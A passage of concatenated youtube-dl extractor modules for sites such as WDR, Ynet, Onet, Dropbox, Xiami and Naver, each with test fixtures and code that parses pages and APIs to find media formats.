                'id': 'aktuelle-stunde/aktuelle-stunde-120',
            },
        },
        {
            'url': 'http://www.wdrmaus.de/aktuelle-sendung/index.php5',
            'info_dict': {
                'id': 'mdb-1096487',
                'ext': 'flv',
                'upload_date': 're:^[0-9]{8}$',
                'title': 're:^Die Sendung mit der Maus vom [0-9.]{10}$',
                'description': '- Die Sendung mit der Maus -',
            },
            'skip': 'The id changes from week to week because of the new episode'
        },
        {
            'url': 'http://www.wdrmaus.de/sachgeschichten/sachgeschichten/achterbahn.php5',
            'md5': '803138901f6368ee497b4d195bb164f2',
            'info_dict': {
                'id': 'mdb-186083',
                'ext': 'mp4',
                'upload_date': '20130919',
                'title': 'Sachgeschichte - Achterbahn ',
                'description': '- Die Sendung mit der Maus -',
            },
        },
        {
            'url': 'http://www1.wdr.de/radio/player/radioplayer116~_layout-popupVersion.html',
            # Live stream, MD5 unstable
            'info_dict': {
                'id': 'mdb-869971',
                'ext': 'flv',
                'title': 'Funkhaus Europa Livestream',
                'description': 'md5:2309992a6716c347891c045be50992e4',
                'upload_date': '20160101',
            },
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        url_type = mobj.group('type')
        page_url = mobj.group('page_url')
        display_id = mobj.group('display_id')
        webpage = self._download_webpage(url, display_id)

        info_dict = self._extract_wdr_video(webpage, display_id)

        if not info_dict:
            entries = [
                self.url_result(page_url + href[0], 'WDR')
                for href in re.findall(
                    r'<a href="(%s)"[^>]+data-extension=' % self._PAGE_REGEX,
                    webpage)
            ]

            if entries:  # Playlist page
                return self.playlist_result(entries, playlist_id=display_id)

            raise ExtractorError('No downloadable streams found', expected=True)

        is_live = url_type == 'live'

        if is_live:
            info_dict.update({
                'title': self._live_title(info_dict['title']),
                'upload_date': None,
            })
        elif 'upload_date' not in info_dict:
            info_dict['upload_date'] = unified_strdate(self._html_search_meta('DC.Date', webpage, 'upload date'))

        info_dict.update({
            'description': self._html_search_meta('Description', webpage),
            'is_live': is_live,
        })

        return info_dict


class WDRMobileIE(InfoExtractor):
    _VALID_URL = r'''(?x)
        https?://mobile-ondemand\.wdr\.de/
        .*?/fsk(?P<age_limit>[0-9]+)
        /[0-9]+/[0-9]+/
        (?P<id>[0-9]+)_(?P<title>[0-9]+)'''
    IE_NAME = 'wdr:mobile'
    _TEST = {
        'url': 'http://mobile-ondemand.wdr.de/CMS2010/mdb/ondemand/weltweit/fsk0/42/421735/421735_4283021.mp4',
        'info_dict': {
            'title': '4283021',
            'id': '421735',
            'ext': 'mp4',
            'age_limit': 0,
        },
        'skip': 'Problems with loading data.'
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        return {
            'id': mobj.group('id'),
            'title': mobj.group('title'),
            'age_limit': int(mobj.group('age_limit')),
            'url': url,
            'http_headers': {
                'User-Agent': 'mobile',
            },
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote_plus


class YnetIE(InfoExtractor):
    _VALID_URL = r'https?://(?:.+?\.)?ynet\.co\.il/(?:.+?/)?0,7340,(?P<id>L(?:-[0-9]+)+),00\.html'
    _TESTS = [
        {
            'url': 'http://hot.ynet.co.il/home/0,7340,L-11659-99244,00.html',
            'info_dict': {
                'id': 'L-11659-99244',
                'ext': 'flv',
                'title': 'איש לא יודע מאיפה באנו',
                'thumbnail': 're:^https?://.*\.jpg',
            }
        }, {
            'url': 'http://hot.ynet.co.il/home/0,7340,L-8859-84418,00.html',
            'info_dict': {
                'id': 'L-8859-84418',
                'ext': 'flv',
                'title': "צפו: הנשיקה הלוהטת של תורגי' ויוליה פלוטקין",
                'thumbnail': 're:^https?://.*\.jpg',
            }
        }
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        content = compat_urllib_parse_unquote_plus(self._og_search_video_url(webpage))
        config = json.loads(self._search_regex(r'config=({.+?})$', content, 'video config'))
        f4m_url = config['clip']['url']
        title = self._og_search_title(webpage)
        m = re.search(r'ynet - HOT -- (["\']+)(?P<title>.+?)\1', title)
        if m:
            title = m.group('title')
        formats = self._extract_f4m_formats(f4m_url, video_id)
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'thumbnail': self._og_search_thumbnail(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from .youtube import YoutubeIE
from ..utils import (
    js_to_json,
    qualities,
    determine_ext,
)


class Tele13IE(InfoExtractor):
    _VALID_URL = r'^https?://(?:www\.)?t13\.cl/videos(?:/[^/]+)+/(?P<id>[\w-]+)'
    _TESTS = [
        {
            'url': 'http://www.t13.cl/videos/actualidad/el-circulo-de-hierro-de-michelle-bachelet-en-su-regreso-a-la-moneda',
            'md5': '4cb1fa38adcad8fea88487a078831755',
            'info_dict': {
                'id': 'el-circulo-de-hierro-de-michelle-bachelet-en-su-regreso-a-la-moneda',
                'ext': 'mp4',
                'title': 'El círculo de hierro de Michelle Bachelet en su regreso a La Moneda',
            },
            'params': {
                # HTTP Error 404: Not Found
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.t13.cl/videos/mundo/tendencias/video-captan-misteriosa-bola-fuego-cielos-bangkok',
            'md5': '867adf6a3b3fef932c68a71d70b70946',
            'info_dict': {
                'id': 'rOoKv2OMpOw',
                'ext': 'mp4',
                'title': 'Shooting star seen on 7-Sep-2015',
                'description': 'md5:7292ff2a34b2f673da77da222ae77e1e',
                'uploader': 'Porjai Jaturongkhakun',
                'upload_date': '20150906',
                'uploader_id': 'UCnLY_3ezwNcDSC_Wc6suZxw',
            },
            'add_ie': ['Youtube'],
        }
    ]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)

        setup_js = self._search_regex(
            r"(?s)jwplayer\('player-vivo'\).setup\((\{.*?\})\)",
            webpage, 'setup code')
        sources = self._parse_json(self._search_regex(
            r'sources\s*:\s*(\[[^\]]+\])', setup_js, 'sources'),
            display_id, js_to_json)

        preference = qualities(['Móvil', 'SD', 'HD'])
        formats = []
        urls = []
        for f in sources:
            format_url = f['file']
            if format_url and format_url not in urls:
                ext = determine_ext(format_url)
                if ext == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        format_url, display_id, 'mp4', 'm3u8_native',
                        m3u8_id='hls', fatal=False))
                elif YoutubeIE.suitable(format_url):
                    return self.url_result(format_url, 'Youtube')
                else:
                    formats.append({
                        'url': format_url,
                        'format_id': f.get('label'),
                        'preference': preference(f.get('label')),
                        'ext': ext,
                    })
                urls.append(format_url)
        self._sort_formats(formats)

        return {
            'id': display_id,
            'title': self._search_regex(
                r'title\s*:\s*"([^"]+)"', setup_js, 'title'),
            'description': self._html_search_meta(
                'description', webpage, 'description'),
            'thumbnail': self._search_regex(
                r'image\s*:\s*"([^"]+)"', setup_js, 'thumbnail', default=None),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    ExtractorError,
    float_or_none,
    get_element_by_class,
    int_or_none,
    js_to_json,
    parse_iso8601,
    remove_start,
    strip_or_none,
    url_basename,
)


class OnetBaseIE(InfoExtractor):
    def _search_mvp_id(self, webpage):
        return self._search_regex(
            r'id=(["\'])mvp:(?P<id>.+?)\1', webpage, 'mvp id', group='id')

    def _extract_from_id(self, video_id, webpage):
        response = self._download_json(
            'http://qi.ckm.onetapi.pl/', video_id,
            query={
                'body[id]': video_id,
                'body[jsonrpc]': '2.0',
                'body[method]': 'get_asset_detail',
                'body[params][ID_Publikacji]': video_id,
                'body[params][Service]': 'www.onet.pl',
                'content-type': 'application/jsonp',
                'x-onet-app': 'player.front.onetapi.pl',
            })

        error = response.get('error')
        if error:
            raise ExtractorError(
                '%s said: %s' % (self.IE_NAME, error['message']), expected=True)

        video = response['result'].get('0')

        formats = []
        for _, formats_dict in video['formats'].items():
            if not isinstance(formats_dict, dict):
                continue
            for format_id, format_list in formats_dict.items():
                if not isinstance(format_list, list):
                    continue
                for f in format_list:
                    video_url = f.get('url')
                    if not video_url:
                        continue
                    ext = determine_ext(video_url)
                    if format_id == 'ism':
                        # TODO: Support Microsoft Smooth Streaming
                        continue
                    elif ext == 'mpd':
                        formats.extend(self._extract_mpd_formats(
                            video_url, video_id, mpd_id='dash', fatal=False))
                    else:
                        formats.append({
                            'url': video_url,
                            'format_id': format_id,
                            'height': int_or_none(f.get('vertical_resolution')),
                            'width': int_or_none(f.get('horizontal_resolution')),
                            'abr': float_or_none(f.get('audio_bitrate')),
                            'vbr': float_or_none(f.get('video_bitrate')),
                        })
        self._sort_formats(formats)

        meta = video.get('meta', {})

        title = self._og_search_title(webpage, default=None) or meta['title']
        description = self._og_search_description(webpage, default=None) or meta.get('description')
        duration = meta.get('length') or meta.get('lenght')
        timestamp = parse_iso8601(meta.get('addDate'), ' ')

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'timestamp': timestamp,
            'formats': formats,
        }


class OnetIE(OnetBaseIE):
    _VALID_URL = 'https?://(?:www\.)?onet\.tv/[a-z]/[a-z]+/(?P<display_id>[0-9a-z-]+)/(?P<id>[0-9a-z]+)'
    IE_NAME = 'onet.tv'

    _TEST = {
        'url': 'http://onet.tv/k/openerfestival/open-er-festival-2016-najdziwniejsze-wymagania-gwiazd/qbpyqc',
        'md5': 'e3ffbf47590032ac3f27249204173d50',
        'info_dict': {
            'id': 'qbpyqc',
            'display_id': 'open-er-festival-2016-najdziwniejsze-wymagania-gwiazd',
            'ext': 'mp4',
            'title': 'Open\'er Festival 2016: najdziwniejsze wymagania gwiazd',
            'description': 'Trzy samochody, których nigdy nie użyto, prywatne spa, hotel dekorowany czarnym suknem czy nielegalne używki. Organizatorzy koncertów i festiwali muszą stawać przed nie lada wyzwaniem zapraszając gwia...',
            'upload_date': '20160705',
            'timestamp': 1467721580,
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id, video_id = mobj.group('display_id', 'id')

        webpage = self._download_webpage(url, display_id)

        mvp_id = self._search_mvp_id(webpage)

        info_dict = self._extract_from_id(mvp_id, webpage)
        info_dict.update({
            'id': video_id,
            'display_id': display_id,
        })

        return info_dict


class OnetChannelIE(OnetBaseIE):
    _VALID_URL = r'https?://(?:www\.)?onet\.tv/[a-z]/(?P<id>[a-z]+)(?:[?#]|$)'
    IE_NAME = 'onet.tv:channel'

    _TEST = {
        'url': 'http://onet.tv/k/openerfestival',
        'info_dict': {
            'id': 'openerfestival',
            'title': 'Open\'er Festival Live',
            'description': 'Dziękujemy, że oglądaliście transmisje. Zobaczcie nasze relacje i wywiady z artystami.',
        },
        'playlist_mincount': 46,
    }

    def _real_extract(self, url):
        channel_id = self._match_id(url)

        webpage = self._download_webpage(url, channel_id)

        current_clip_info = self._parse_json(self._search_regex(
            r'var\s+currentClip\s*=\s*({[^}]+})', webpage, 'video info'), channel_id,
            transform_source=lambda s: js_to_json(re.sub(r'\'\s*\+\s*\'', '', s)))
        video_id = remove_start(current_clip_info['ckmId'], 'mvp:')
        video_name = url_basename(current_clip_info['url'])

        if self._downloader.params.get('noplaylist'):
            self.to_screen(
                'Downloading just video %s because of --no-playlist' % video_name)
            return self._extract_from_id(video_id, webpage)

        self.to_screen(
            'Downloading channel %s - add --no-playlist to just download video %s' % (
                channel_id, video_name))
        matches = re.findall(
            r'<a[^>]+href=[\'"](https?://(?:www\.)?onet\.tv/[a-z]/[a-z]+/[0-9a-z-]+/[0-9a-z]+)',
            webpage)
        entries = [
            self.url_result(video_link, OnetIE.ie_key())
            for video_link in matches]

        channel_title = strip_or_none(get_element_by_class('o_channelName', webpage))
        channel_description = strip_or_none(get_element_by_class('o_channelDesc', webpage))
        return self.playlist_result(entries, channel_id, channel_title, channel_description)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    decode_packed_codes,
    sanitized_Request,
)


class VideoMegaIE(InfoExtractor):
    _VALID_URL = r'(?:videomega:|https?://(?:www\.)?videomega\.tv/(?:(?:view|iframe|cdn)\.php)?\?ref=)(?P<id>[A-Za-z0-9]+)'
    _TESTS = [{
        'url': 'http://videomega.tv/cdn.php?ref=AOSQBJYKIDDIKYJBQSOA',
        'md5': 'cc1920a58add3f05c6a93285b84fb3aa',
        'info_dict': {
            'id': 'AOSQBJYKIDDIKYJBQSOA',
            'ext': 'mp4',
            'title': '1254207',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }, {
        'url': 'http://videomega.tv/cdn.php?ref=AOSQBJYKIDDIKYJBQSOA&width=1070&height=600',
        'only_matching': True,
    }, {
        'url': 'http://videomega.tv/view.php?ref=090051111052065112106089103052052103089106112065052111051090',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        iframe_url = 'http://videomega.tv/cdn.php?ref=%s' % video_id
        req = sanitized_Request(iframe_url)
        req.add_header('Referer', url)
        req.add_header('Cookie', 'noadvtday=0')
        webpage = self._download_webpage(req, video_id)

        title = self._html_search_regex(
            r'<title>(.+?)</title>', webpage, 'title')
        title = re.sub(
            r'(?:^[Vv]ideo[Mm]ega\.tv\s-\s*|\s*-\svideomega\.tv$)', '', title)
        thumbnail = self._search_regex(
            r'<video[^>]+?poster="([^"]+)"', webpage, 'thumbnail', fatal=False)

        real_codes = decode_packed_codes(webpage)
        video_url = self._search_regex(
            r'"src"\s*,\s*"([^"]+)"', real_codes, 'video URL')

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'thumbnail': thumbnail,
            'http_headers': {
                'Referer': iframe_url,
            },
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import unified_strdate


class DFBIE(InfoExtractor):
    IE_NAME = 'tv.dfb.de'
    _VALID_URL = r'https?://tv\.dfb\.de/video/(?P<display_id>[^/]+)/(?P<id>\d+)'

    _TEST = {
        'url': 'http://tv.dfb.de/video/u-19-em-stimmen-zum-spiel-gegen-russland/11633/',
        'md5': 'ac0f98a52a330f700b4b3034ad240649',
        'info_dict': {
            'id': '11633',
            'display_id': 'u-19-em-stimmen-zum-spiel-gegen-russland',
            'ext': 'mp4',
            'title': 'U 19-EM: Stimmen zum Spiel gegen Russland',
            'upload_date': '20150714',
        },
    }

    def _real_extract(self, url):
        display_id, video_id = re.match(self._VALID_URL, url).groups()

        player_info = self._download_xml(
            'http://tv.dfb.de/server/hd_video.php?play=%s' % video_id,
            display_id)
        video_info = player_info.find('video')
        stream_access_url = self._proto_relative_url(video_info.find('url').text.strip())

        formats = []
        # see http://tv.dfb.de/player/js/ajax.js for the method to extract m3u8 formats
        for sa_url in (stream_access_url, stream_access_url + '&area=&format=iphone'):
            stream_access_info = self._download_xml(sa_url, display_id)
            token_el = stream_access_info.find('token')
            manifest_url = token_el.attrib['url'] + '?' + 'hdnea=' + token_el.attrib['auth']
            if '.f4m' in manifest_url:
                formats.extend(self._extract_f4m_formats(
                    manifest_url + '&hdcore=3.2.0',
                    display_id, f4m_id='hds', fatal=False))
            else:
                formats.extend(self._extract_m3u8_formats(
                    manifest_url, display_id, 'mp4',
                    'm3u8_native', m3u8_id='hls', fatal=False))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': video_info.find('title').text,
            'thumbnail': 'http://tv.dfb.de/images/%s_640x360.jpg' % video_id,
            'upload_date': unified_strdate(video_info.find('time_date').text),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import os.path
import re

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote
from ..utils import url_basename


class DropboxIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?dropbox[.]com/sh?/(?P<id>[a-zA-Z0-9]{15})/.*'
    _TESTS = [
        {
            'url': 'https://www.dropbox.com/s/nelirfsxnmcfbfh/youtube-dl%20test%20video%20%27%C3%A4%22BaW_jenozKc.mp4?dl=0',
            'info_dict': {
                'id': 'nelirfsxnmcfbfh',
                'ext': 'mp4',
                'title': 'youtube-dl test video \'ä"BaW_jenozKc'
            }
        }, {
            'url': 'https://www.dropbox.com/sh/662glsejgzoj9sr/AAByil3FGH9KFNZ13e08eSa1a/Pregame%20Ceremony%20Program%20PA%2020140518.m4v',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        fn = compat_urllib_parse_unquote(url_basename(url))
        title = os.path.splitext(fn)[0]
        video_url = re.sub(r'[?&]dl=0', '', url)
        video_url += ('?' if '?' not in video_url else '&') + 'dl=1'

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unified_strdate,
)


class LnkGoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?lnkgo\.alfa\.lt/visi-video/(?P<show>[^/]+)/ziurek-(?P<id>[A-Za-z0-9-]+)'
    _TESTS = [{
        'url': 'http://lnkgo.alfa.lt/visi-video/yra-kaip-yra/ziurek-yra-kaip-yra-162',
        'info_dict': {
            'id': '46712',
            'ext': 'mp4',
            'title': 'Yra kaip yra',
            'upload_date': '20150107',
            'description': 'md5:d82a5e36b775b7048617f263a0e3475e',
            'age_limit': 7,
            'duration': 3019,
            'thumbnail': 're:^https?://.*\.jpg$'
        },
        'params': {
            'skip_download': True,  # HLS download
        },
    }, {
        'url': 'http://lnkgo.alfa.lt/visi-video/aktualai-pratesimas/ziurek-nerdas-taiso-kompiuteri-2',
        'info_dict': {
            'id': '47289',
            'ext': 'mp4',
            'title': 'Nėrdas: Kompiuterio Valymas',
            'upload_date': '20150113',
            'description': 'md5:7352d113a242a808676ff17e69db6a69',
            'age_limit': 18,
            'duration': 346,
            'thumbnail': 're:^https?://.*\.jpg$'
        },
        'params': {
            'skip_download': True,  # HLS download
        },
    }]
    _AGE_LIMITS = {
        'N-7': 7,
        'N-14': 14,
        'S': 18,
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(
            url, display_id, 'Downloading player webpage')

        video_id = self._search_regex(
            r'data-ep="([^"]+)"', webpage, 'video ID')
        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage)
        upload_date = unified_strdate(self._search_regex(
            r'class="[^"]*meta-item[^"]*air-time[^"]*">.*?<strong>([^<]+)</strong>', webpage, 'upload date', fatal=False))

        thumbnail_w = int_or_none(
            self._og_search_property('image:width', webpage, 'thumbnail width', fatal=False))
        thumbnail_h = int_or_none(
            self._og_search_property('image:height', webpage, 'thumbnail height', fatal=False))
        thumbnail = {
            'url': self._og_search_thumbnail(webpage),
        }
        if thumbnail_w and thumbnail_h:
            thumbnail.update({
                'width': thumbnail_w,
                'height': thumbnail_h,
            })

        config = self._parse_json(self._search_regex(
            r'episodePlayer\((\{.*?\}),\s*\{', webpage, 'sources'), video_id)

        if config.get('pGeo'):
            self.report_warning(
                'This content might not be available in your country due to copyright reasons')

        formats = [{
            'format_id': 'hls',
            'ext': 'mp4',
            'url': config['EpisodeVideoLink_HLS'],
        }]

        m = re.search(r'^(?P<url>rtmp://[^/]+/(?P<app>[^/]+))/(?P<play_path>.+)$', config['EpisodeVideoLink'])
        if m:
            formats.append({
                'format_id': 'rtmp',
                'ext': 'flv',
                'url': m.group('url'),
                'play_path': m.group('play_path'),
                'page_url': url,
            })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'formats': formats,
            'thumbnails': [thumbnail],
            'duration': int_or_none(config.get('VideoTime')),
            'description': description,
            'age_limit': self._AGE_LIMITS.get(config.get('PGRating'), 0),
            'upload_date': upload_date,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import remove_end


class CharlieRoseIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?charlierose\.com/video(?:s|/player)/(?P<id>\d+)'
    _TESTS = [{
        'url': 'https://charlierose.com/videos/27996',
        'md5': 'fda41d49e67d4ce7c2411fd2c4702e09',
        'info_dict': {
            'id': '27996',
            'ext': 'mp4',
            'title': 'Remembering Zaha Hadid',
            'thumbnail': 're:^https?://.*\.jpg\?\d+',
            'description': 'We revisit past conversations with Zaha Hadid, in memory of the world renowned Iraqi architect.',
            'subtitles': {
                'en': [{
                    'ext': 'vtt',
                }],
            },
        },
    }, {
        'url': 'https://charlierose.com/videos/27996',
        'only_matching': True,
    }]

    _PLAYER_BASE = 'https://charlierose.com/video/player/%s'

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(self._PLAYER_BASE % video_id, video_id)

        title = remove_end(self._og_search_title(webpage), ' - Charlie Rose')

        info_dict = self._parse_html5_media_entries(
            self._PLAYER_BASE % video_id, webpage, video_id,
            m3u8_entry_protocol='m3u8_native')[0]

        self._sort_formats(info_dict['formats'])
        self._remove_duplicate_formats(info_dict['formats'])

        info_dict.update({
            'id': video_id,
            'title': title,
            'thumbnail': self._og_search_thumbnail(webpage),
            'description': self._og_search_description(webpage),
        })

        return info_dict






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse


class FczenitIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?fc-zenit\.ru/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://fc-zenit.ru/video/41044/',
        'md5': '0e3fab421b455e970fa1aa3891e57df0',
        'info_dict': {
            'id': '41044',
            'ext': 'mp4',
            'title': 'Так пишется история: казанский разгром ЦСКА на «Зенит-ТВ»',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_title = self._html_search_regex(
            r'<[^>]+class=\"photoalbum__title\">([^<]+)', webpage, 'title')

        video_items = self._parse_json(self._search_regex(
            r'arrPath\s*=\s*JSON\.parse\(\'(.+)\'\)', webpage, 'video items'),
            video_id)

        def merge_dicts(*dicts):
            ret = {}
            for a_dict in dicts:
                ret.update(a_dict)
            return ret

        formats = [{
            'url': compat_urlparse.urljoin(url, video_url),
            'tbr': int(tbr),
        } for tbr, video_url in merge_dicts(*video_items).items()]

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video_title,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    int_or_none,
    parse_iso8601,
)


class HeiseIE(InfoExtractor):
    _VALID_URL = r'''(?x)
        https?://(?:www\.)?heise\.de/video/artikel/
        .+?(?P<id>[0-9]+)\.html(?:$|[?#])
    '''
    _TEST = {
        'url': (
            'http://www.heise.de/video/artikel/Podcast-c-t-uplink-3-3-Owncloud-Tastaturen-Peilsender-Smartphone-2404147.html'
        ),
        'md5': 'ffed432483e922e88545ad9f2f15d30e',
        'info_dict': {
            'id': '2404147',
            'ext': 'mp4',
            'title': (
                "Podcast: c't uplink 3.3 – Owncloud / Tastaturen / Peilsender Smartphone"
            ),
            'format_id': 'mp4_720p',
            'timestamp': 1411812600,
            'upload_date': '20140927',
            'description': 'In uplink-Episode 3.3 geht es darum, wie man sich von Cloud-Anbietern emanzipieren kann, worauf man beim Kauf einer Tastatur achten sollte und was Smartphones über uns verraten.',
            'thumbnail': 're:^https?://.*\.jpe?g$',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        container_id = self._search_regex(
            r'<div class="videoplayerjw".*?data-container="([0-9]+)"',
            webpage, 'container ID')
        sequenz_id = self._search_regex(
            r'<div class="videoplayerjw".*?data-sequenz="([0-9]+)"',
            webpage, 'sequenz ID')
        data_url = 'http://www.heise.de/videout/feed?container=%s&sequenz=%s' % (container_id, sequenz_id)
        doc = self._download_xml(data_url, video_id)

        info = {
            'id': video_id,
            'thumbnail': self._og_search_thumbnail(webpage),
            'timestamp': parse_iso8601(
                self._html_search_meta('date', webpage)),
            'description': self._og_search_description(webpage),
        }

        title = self._html_search_meta('fulltitle', webpage)
        if title:
            info['title'] = title
        else:
            info['title'] = self._og_search_title(webpage)

        formats = []
        for source_node in doc.findall('.//{http://rss.jwpcdn.com/}source'):
            label = source_node.attrib['label']
            height = int_or_none(self._search_regex(
                r'^(.*?_)?([0-9]+)p$', label, 'height', default=None))
            video_url = source_node.attrib['file']
            ext = determine_ext(video_url, '')
            formats.append({
                'url': video_url,
                'format_note': label,
                'format_id': '%s_%s' % (ext, label),
                'height': height,
            })
        self._sort_formats(formats)
        info['formats'] = formats

        return info






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote
from ..utils import int_or_none


class XiamiBaseIE(InfoExtractor):
    _API_BASE_URL = 'http://www.xiami.com/song/playlist/cat/json/id'

    def _download_webpage(self, *args, **kwargs):
        webpage = super(XiamiBaseIE, self)._download_webpage(*args, **kwargs)
        if '>Xiami is currently not available in your country.<' in webpage:
            self.raise_geo_restricted('Xiami is currently not available in your country')
        return webpage

    def _extract_track(self, track, track_id=None):
        title = track['title']
        track_url = self._decrypt(track['location'])

        subtitles = {}
        lyrics_url = track.get('lyric_url') or track.get('lyric')
        if lyrics_url and lyrics_url.startswith('http'):
            subtitles['origin'] = [{'url': lyrics_url}]

        return {
            'id': track.get('song_id') or track_id,
            'url': track_url,
            'title': title,
            'thumbnail': track.get('pic') or track.get('album_pic'),
            'duration': int_or_none(track.get('length')),
            'creator': track.get('artist', '').split(';')[0],
            'track': title,
            'album': track.get('album_name'),
            'artist': track.get('artist'),
            'subtitles': subtitles,
        }

    def _extract_tracks(self, item_id, typ=None):
        playlist = self._download_json(
            '%s/%s%s' % (self._API_BASE_URL, item_id, '/type/%s' % typ if typ else ''), item_id)
        return [
            self._extract_track(track, item_id)
            for track in playlist['data']['trackList']]

    @staticmethod
    def _decrypt(origin):
        n = int(origin[0])
        origin = origin[1:]
        short_lenth = len(origin) // n
        long_num = len(origin) - short_lenth * n
        l = tuple()
        for i in range(0, n):
            length = short_lenth
            if i < long_num:
                length += 1
            l += (origin[0:length], )
            origin = origin[length:]
        ans = ''
        for i in range(0, short_lenth + 1):
            for j in range(0, n):
                if len(l[j]) > i:
                    ans += l[j][i]
        return compat_urllib_parse_unquote(ans).replace('^', '0')


class XiamiSongIE(XiamiBaseIE):
    IE_NAME = 'xiami:song'
    IE_DESC = '虾米音乐'
    _VALID_URL = r'https?://(?:www\.)?xiami\.com/song/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.xiami.com/song/1775610518',
        'md5': '521dd6bea40fd5c9c69f913c232cb57e',
        'info_dict': {
            'id': '1775610518',
            'ext': 'mp3',
            'title': 'Woman',
            'thumbnail': r're:http://img\.xiami\.net/images/album/.*\.jpg',
            'duration': 265,
            'creator': 'HONNE',
            'track': 'Woman',
            'album': 'Woman',
            'artist': 'HONNE',
            'subtitles': {
                'origin': [{
                    'ext': 'lrc',
                }],
            },
        },
        'skip': 'Georestricted',
    }, {
        'url': 'http://www.xiami.com/song/1775256504',
        'md5': '932a3abd45c6aa2b1fdbe028fcb4c4fc',
        'info_dict': {
            'id': '1775256504',
            'ext': 'mp3',
            'title': '悟空',
            'thumbnail': r're:http://img\.xiami\.net/images/album/.*\.jpg',
            'duration': 200,
            'creator': '戴荃',
            'track': '悟空',
            'album': '悟空',
            'artist': '戴荃',
            'subtitles': {
                'origin': [{
                    'ext': 'lrc',
                }],
            },
        },
        'skip': 'Georestricted',
    }]

    def _real_extract(self, url):
        return self._extract_tracks(self._match_id(url))[0]


class XiamiPlaylistBaseIE(XiamiBaseIE):
    def _real_extract(self, url):
        item_id = self._match_id(url)
        return self.playlist_result(self._extract_tracks(item_id, self._TYPE), item_id)


class XiamiAlbumIE(XiamiPlaylistBaseIE):
    IE_NAME = 'xiami:album'
    IE_DESC = '虾米音乐 - 专辑'
    _VALID_URL = r'https?://(?:www\.)?xiami\.com/album/(?P<id>[0-9]+)'
    _TYPE = '1'
    _TESTS = [{
        'url': 'http://www.xiami.com/album/2100300444',
        'info_dict': {
            'id': '2100300444',
        },
        'playlist_count': 10,
        'skip': 'Georestricted',
    }, {
        'url': 'http://www.xiami.com/album/512288?spm=a1z1s.6843761.1110925389.6.hhE9p9',
        'only_matching': True,
    }]


class XiamiArtistIE(XiamiPlaylistBaseIE):
    IE_NAME = 'xiami:artist'
    IE_DESC = '虾米音乐 - 歌手'
    _VALID_URL = r'https?://(?:www\.)?xiami\.com/artist/(?P<id>[0-9]+)'
    _TYPE = '2'
    _TEST = {
        'url': 'http://www.xiami.com/artist/2132?spm=0.0.0.0.dKaScp',
        'info_dict': {
            'id': '2132',
        },
        'playlist_count': 20,
        'skip': 'Georestricted',
    }


class XiamiCollectionIE(XiamiPlaylistBaseIE):
    IE_NAME = 'xiami:collection'
    IE_DESC = '虾米音乐 - 精选集'
    _VALID_URL = r'https?://(?:www\.)?xiami\.com/collect/(?P<id>[0-9]+)'
    _TYPE = '3'
    _TEST = {
        'url': 'http://www.xiami.com/collect/156527391?spm=a1z1s.2943601.6856193.12.4jpBnr',
        'info_dict': {
            'id': '156527391',
        },
        'playlist_mincount': 29,
        'skip': 'Georestricted',
    }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    update_url_query,
)


class NaverIE(InfoExtractor):
    _VALID_URL = r'https?://(?:m\.)?tvcast\.naver\.com/v/(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://tvcast.naver.com/v/81652',
        'info_dict': {
            'id': '81652',
            'ext': 'mp4',
            'title': '[9월 모의고사 해설강의][수학_김상희] 수학 A형 16~20번',
